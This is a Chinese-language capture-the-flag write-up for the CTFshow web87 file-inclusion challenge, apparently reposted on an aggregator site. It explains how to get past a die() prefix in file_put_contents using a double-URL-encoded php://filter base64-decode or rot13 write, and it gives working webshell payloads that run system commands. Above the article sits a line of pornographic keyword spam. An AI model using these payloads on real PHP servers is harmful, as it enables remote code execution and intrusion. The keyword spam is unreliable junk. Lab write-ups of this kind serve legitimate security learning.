日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CTFshow 文件包含 web87

發(fā)布時間:2025/4/16 编程问答 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTFshow 文件包含 web87 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

目錄

  • 源碼
  • 思路
  • 題解
    • 題解一
    • 題解二
  • 總結


源碼

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 21:57:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$content = $_POST['content'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);}else{highlight_file(__FILE__); }

思路

$file為寫入文件的路徑,進行了一次url解碼,而瀏覽器也要進行一次url解碼,所以我們對輸入的payload進行2次url編碼就可以繞過過濾

$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);

"<?php die('大佬別秀了');?>".$content可知我們輸入的內容前面被塞上了<?php die('大佬別秀了');?>,如何繞過它執(zhí)行我們的php代碼是一個重點

題解

參考p神文章

https://xz.aliyun.com/t/8163

題解一

用base64 編碼
file=php://filter/write=convert.base64-decode/resource=flag.php

把寫入的內容base64解碼

content是寫入內容,要進行base64編碼 對應上面的偽協(xié)議解碼,而base解碼時,是4個一組,flag.php(要寫入的文件),寫入的內容<?php die('大佬別秀了');?>中只有phpdie會參與base64解碼,因為phpdie只有6個字節(jié),補兩個a就是8字節(jié)了

總結:我們要在content中寫入shell,然后base64編碼
content=<?php system('ls');?>
base64
content=PD9waHAgc3lzdGVtKCdscycpOz8+

寫入的文件內容
<?php die('大佬別秀了');?>PD9waHAgc3lzdGVtKCdscycpOz8+
這時候偽協(xié)議會進行對內容phpdiePD9waHAgc3lzdGVtKCdscycpOz8+base64解碼,phpdie只有6個字節(jié)要補2個字節(jié)

所以我們補2個a,content=aaPD9waHAgc3lzdGVtKCdscycpOz8+
偽協(xié)議會base64解碼phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+

講的差不多了,回到正題

file進行2次ulr編碼

?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2566%256c%2561%2567%252e%2570%2568%2570 //php://filter/write=convert.base64-decode/resource=flag.php

post提交的content,base64編碼 補2個a
content=aaPD9waHAgc3lzdGVtKCdscycpOzs/Pg==

然后訪問flag.php


然后 base64編碼<?php system('tac fl0g.php');?>
content=aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==

拿到flag

題解二

用rot13
php://filter/write=string.rot13/resource=2.php

content用rot13編碼加密

訪問2.php,拿到flag


總結

get到新知識

總結

以上是生活随笔為你收集整理的CTFshow 文件包含 web87的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內容還不錯,歡迎將生活随笔推薦給好友。